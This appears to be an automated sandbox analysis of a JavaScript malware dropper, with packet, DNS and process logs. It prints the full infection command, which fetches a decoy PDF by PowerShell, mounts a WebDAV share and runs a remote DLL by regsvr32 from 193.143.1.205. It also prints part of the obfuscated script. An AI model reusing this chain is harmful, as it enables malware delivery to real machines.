Jan 10, 2025 21:39:57.919581890 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.919584036 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919595957 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919608116 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919620037 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.919620991 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919635057 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919644117 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.919646978 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919660091 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919672966 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.919672966 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.919692039 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950531960 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950546980 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950560093 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950587034 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950611115 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950628996 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950640917 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950654030 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950666904 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950679064 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950680017 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950700045 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950726986 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950754881 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950795889 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950808048 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950828075 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950839996 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950850010 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950860977 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950871944 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950880051 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.950884104 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950891018 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950898886 CET	80	49845	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:57.950923920 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:57.999131918 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:58.388214111 CET	49845	80	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:58.744270086 CET	49861	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:58.749198914 CET	8888	49861	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:58.749277115 CET	49861	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:58.753583908 CET	49861	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:58.758363962 CET	8888	49861	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:59.565392971 CET	8888	49861	193.143.1.205	192.168.2.7
Jan 10, 2025 21:39:59.609014034 CET	49861	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:39:59.716501951 CET	49861	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 21:41:12.688270092 CET	49941	53	192.168.2.7	1.1.1.1
Jan 10, 2025 21:41:12.693216085 CET	53	49941	1.1.1.1	192.168.2.7
Jan 10, 2025 21:41:12.693293095 CET	49941	53	192.168.2.7	1.1.1.1
Jan 10, 2025 21:41:12.693345070 CET	49941	53	192.168.2.7	1.1.1.1
Jan 10, 2025 21:41:12.698194027 CET	53	49941	1.1.1.1	192.168.2.7
Jan 10, 2025 21:41:13.165757895 CET	53	49941	1.1.1.1	192.168.2.7
Jan 10, 2025 21:41:13.168632030 CET	49941	53	192.168.2.7	1.1.1.1
Jan 10, 2025 21:41:13.173629999 CET	53	49941	1.1.1.1	192.168.2.7
Jan 10, 2025 21:41:13.173702955 CET	49941	53	192.168.2.7	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:40:07.132613897 CET	61871	53	192.168.2.7	1.1.1.1
Jan 10, 2025 21:41:12.687674999 CET	53	63471	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:40:07.132613897 CET	192.168.2.7	1.1.1.1	0x1313	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:39:32.098613977 CET	1.1.1.1	192.168.2.7	0x7f52	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:39:32.098613977 CET	1.1.1.1	192.168.2.7	0x7f52	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:00.077131033 CET	1.1.1.1	192.168.2.7	0xf429	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:00.077131033 CET	1.1.1.1	192.168.2.7	0xf429	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.139919043 CET	1.1.1.1	192.168.2.7	0x1313	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:07.888165951 CET	1.1.1.1	192.168.2.7	0x8cf5	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:23.532424927 CET	1.1.1.1	192.168.2.7	0x7308	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:23.532424927 CET	1.1.1.1	192.168.2.7	0x7308	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.19	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.38	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.39	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.27	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.22	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.25	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.24	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:40:47.578874111 CET	1.1.1.1	192.168.2.7	0xfeb6	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49845	193.143.1.205	80	5580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:39:56.403595924 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:39:57.188925028 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:39:57 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:39:57.188982964 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:39:57.188999891 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:39:57.189007044 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:39:57.189018965 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:39:57.189033031 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:39:57.189045906 CET	776	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 21:39:57.189058065 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 21:39:57.189071894 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 21:39:57.189085960 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9
Jan 10, 2025 21:39:57.194010973 CET	444	IN	Data Raw: d8 51 55 3b 72 1f 4b 07 86 5e 9c eb 03 43 6f 8f a2 18 3a 7c 34 7d 33 3d 0e f7 e7 7f 7d 10 fe fa fd 38 86 36 9b 72 4d 0c bd e9 62 28 c7 86 4e 61 ea 9b 13 00 00 c0 34 f8 62 09 00 36 ca dc 4e c3 1d b9 b9 b1 50 5d 07 c2 a2 a1 0f 97 14 b9 ed a9 26 5b Data Ascii: QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)]kPB%ZUjog>u'`.f8\|d[C2;.? %C:ZP7+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49861	193.143.1.205	8888	1916	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:39:58.753583908 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:39:59.565392971 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:39:59 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	2
Start time:	15:39:43
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\984279432356016169.js"
Imagebase:	0x7ff6a0ac0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:39:45
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\273141391031247.dll
Imagebase:	0x7ff6dc430000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:39:46
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:39:46
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	15:39:57
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	15:39:57
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6dc430000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:39:57
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6aee70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	15:39:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:39:58
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	15:39:58
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,13517374794523773617,11455705467191514694,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yluzlivnr() {	yluzlivnr() ➔ undefined
1	riefgldxz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ousishobz = this[lawgpf + vavet + iidlhjdnn + wzqga + eveihnfnk + pnlne + sgncnivif + nwevd] ( this[vnguw + kdiqe + ybulpowfr + iidlhjdnn + zdkrof + lawgpf + nwevd][nkodcs + iidlhjdnn + eveihnfnk + vavet + nwevd + eveihnfnk + dkldgn + kwfdbjpmd + tswywfj + eveihnfnk + ybulpowfr + nwevd] ( vnguw + kdiqe + ybulpowfr + iidlhjdnn + zdkrof + lawgpf + nwevd + njkeuolw + kdiqe + tdxnk + eveihnfnk + rixfv + rixfv ) [fhbqleouv + eveihnfnk + wifhv + fhbqleouv + eveihnfnk + vavet + hgvajc] ( wgphl + rbxukt + sxrgseso + cuvfgls + rgfmjqa + nkodcs + snscdsb + fhbqleouv + fhbqleouv + sxrgseso + emuvber + apxbzekx + rgfmjqa + snscdsb + kdiqe + sxrgseso + fhbqleouv + ejmazrqv + nkodcs + bjhdq + sgncnivif + nwevd + iidlhjdnn + bjhdq + rixfv + xitdayqfb + anjdr + vavet + sgncnivif + eveihnfnk + rixfv + ejmazrqv + pnlne + sgncnivif + nwevd + eveihnfnk + iidlhjdnn + sgncnivif + vavet + nwevd + zdkrof + bjhdq + sgncnivif + vavet + rixfv + ejmazrqv + swbrte + bjhdq + ybulpowfr + vavet + rixfv + eveihnfnk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
